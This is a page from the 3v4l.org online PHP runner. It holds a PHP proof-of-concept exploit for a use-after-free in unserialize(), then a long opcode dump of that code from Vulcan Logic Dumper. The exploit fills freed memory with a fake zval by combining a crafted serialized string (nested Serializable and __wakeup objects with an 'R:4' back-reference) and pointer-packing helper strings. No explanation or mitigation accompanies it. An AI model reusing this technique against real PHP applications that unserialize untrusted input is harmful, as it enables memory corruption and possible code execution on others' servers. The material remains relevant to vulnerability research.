3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 30
Branch analysis from position: 30
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 26
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 26
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 26
Branch analysis from position: 32
Branch analysis from position: 26
filename:       /in/rYDbX
function name:  (null)
number of ops:  36
compiled vars:  !0 = $fakezval, !1 = $inner, !2 = $exploit, !3 = $data, !4 = $i, !5 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   DECLARE_CLASS                                            'obj'
   19     1        INIT_FCALL_BY_NAME                                       'ptr2str'
          2        SEND_VAL_EX                                              1122334455
          3        DO_FCALL                                      0  $6      
          4        ASSIGN                                                   !0, $6
   20     5        INIT_FCALL_BY_NAME                                       'ptr2str'
          6        SEND_VAL_EX                                              0
          7        DO_FCALL                                      0  $8      
          8        ASSIGN_OP                                     8          !0, $8
   21     9        ASSIGN_OP                                     8          !0, '%00%00%00%00'
   22    10        ASSIGN_OP                                     8          !0, '%01'
   23    11        ASSIGN_OP                                     8          !0, '%00'
   24    12        ASSIGN_OP                                     8          !0, '%00%00'
   26    13        ASSIGN                                                   !1, 'r%3A2%3B'
   27    14        STRLEN                                           ~15     !1
         15        CONCAT                                           ~16     'a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22obj2%22%3A1%3A%7Bs%3A4%3A%22ryat%22%3BC%3A3%3A%22obj%22%3A', ~15
         16        CONCAT                                           ~17     ~16, '%3A%7B'
         17        CONCAT                                           ~18     ~17, !1
         18        CONCAT                                           ~19     ~18, '%7D%7Di%3A1%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3BR%3A4%3B%7D%7D%7D'
         19        ASSIGN                                                   !2, ~19
   29    20        INIT_FCALL                                               'unserialize'
         21        SEND_VAR                                                 !2
         22        DO_ICALL                                         $21     
         23        ASSIGN                                                   !3, $21
   31    24        ASSIGN                                                   !4, 0
         25      > JMP                                                      ->30
   32    26    >   CONCAT                                           ~25     !0, !4
         27        ASSIGN_DIM                                               !5, !4
         28        OP_DATA                                                  ~25
   31    29        PRE_INC                                                  !4
         30    >   IS_SMALLER                                               !4, 5
         31      > JMPNZ                                                    ~27, ->26
   35    32    >   INIT_FCALL                                               'var_dump'
         33        SEND_VAR                                                 !3
         34        DO_ICALL                                                 
   45    35      > RETURN                                                   1

Function ptr2str:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
Branch analysis from position: 4
filename:       /in/rYDbX
function name:  ptr2str
number of ops:  15
compiled vars:  !0 = $ptr, !1 = $out, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   37     0  E >   RECV                                             !0      
   39     1        ASSIGN                                                   !1, ''
   40     2        ASSIGN                                                   !2, 0
          3      > JMP                                                      ->11
   41     4    >   INIT_FCALL                                               'chr'
          5        BW_AND                                           ~5      !0, 255
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8        ASSIGN_OP                                     8          !1, $6
   42     9        ASSIGN_OP                                     7          !0, 8
   40    10        PRE_INC                                                  !2
         11    >   IS_SMALLER                                               !2, 8
         12      > JMPNZ                                                    ~10, ->4
   44    13    > > RETURN                                                   !1
   45    14*     > RETURN                                                   null

End of function ptr2str

Class obj:
Function serialize:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rYDbX
function name:  serialize
number of ops:  6
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    5     0  E >   INIT_FCALL                                               'serialize'
          1        FETCH_OBJ_R                                      ~0      'data'
          2        SEND_VAL                                                 ~0
          3        DO_ICALL                                         $1      
          4      > RETURN                                                   $1
    6     5*     > RETURN                                                   null

End of function serialize

Function unserialize:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rYDbX
function name:  unserialize
number of ops:  7
compiled vars:  !0 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    7     0  E >   RECV                                             !0      
    8     1        INIT_FCALL                                               'unserialize'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $2      
          4        ASSIGN_OBJ                                               'data'
          5        OP_DATA                                                  $2
    9     6      > RETURN                                                   null

End of function unserialize

End of class obj.

Class obj2:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rYDbX
function name:  __wakeup
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   15     0  E >   ASSIGN_OBJ                                               'ryat'
          1        OP_DATA                                                  1
   16     2      > RETURN                                                   null

End of function __wakeup

End of class obj2.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
174.43 ms | 1404 KiB | 21 Q